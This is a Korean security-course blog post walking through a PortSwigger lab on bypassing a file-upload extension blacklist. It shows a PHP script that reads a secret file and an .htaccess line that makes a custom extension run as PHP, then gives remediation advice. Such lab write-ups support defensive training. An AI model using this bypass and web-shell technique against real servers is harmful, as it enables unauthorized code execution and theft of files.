Tiny Bunny

Rookies/클라우드 기반 취약점 진단 및 대응 실무

[SK shieldus Rookies 19기] 08 - File Upload blacklist 우회 (Burp Suite Academy)

bento 2024. 5. 15. 23:13
[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정

https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass

 

Lab: Web shell upload via extension blacklist bypass | Web Security Academy

This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed due to a fundamental flaw in ...

portswigger.net

 

가. 문제점

[CASE 8] File Upload

Web Security Academy 서비스 내 일부 페이지에서 업로드 파일 값에 대한 필터링 검증이 부재하여 Avatar 기능 이용/사용 시 악성 스크립트 삽입 및 실행이 가능하며 이로 인해 타사용자의 인증정보 획득 및 악성 코드 유포 가능성이 존재합니다.

그림 1. My account 경로 확인

 

그림 2. 주어진 계정 정보로 로그인 진행

 

그림 3. 파일 업로드 기능 확인

 

<?php
echo file_get_contents('/home/carlos/secret');
?>

exploit.php 작성

 

그림 4. 작성한 스크립트 업로드

 

그림 5. php 확장자 필터링 및 아파치 서버 사용 확인

 

<?php
echo file_get_contents('/home/carlos/secret');
?>

기존 스크립트를 exploit.abcde 확장자로 저장해준다.

 

AddType application/x-httpd-php .abcde

.htaccess 파일을 작성하여 abcde 확장자라면 php 스크립트를 실행하도록 작성한다.

 

그림 6. .htaccess 파일 업로드

 

그림 7. .htaccess 파일 업로드 확인

 

그림 8. exploit.abcde 파일 업로드

 

그림 9. exploit.abcde 파일 업로드 확인

 

그림 10. 작성한 스크립트 작동 확인

 

나. 관련 URL

번호 경로 URL
1 Login > My account /my-account/avatar
2   /files/avatars

 

다. 해결 방안

업로드하는 파일 타입과 크기를 제한하고 업로드 디렉터리를 웹서버의 document 외부에 설정해야 합니다. 화이트리스트 방식으로 허용된 확장자만 업로드 되도록 하고, 확장자도 대소문자 구분 없이 검증할 수 있게 구성해야 합니다. 업로드되는 파일 경로 및 파일명에는 “../”, ”;”, ”%0” 등과 같은 특수문자도 제한해야 합니다.

728x90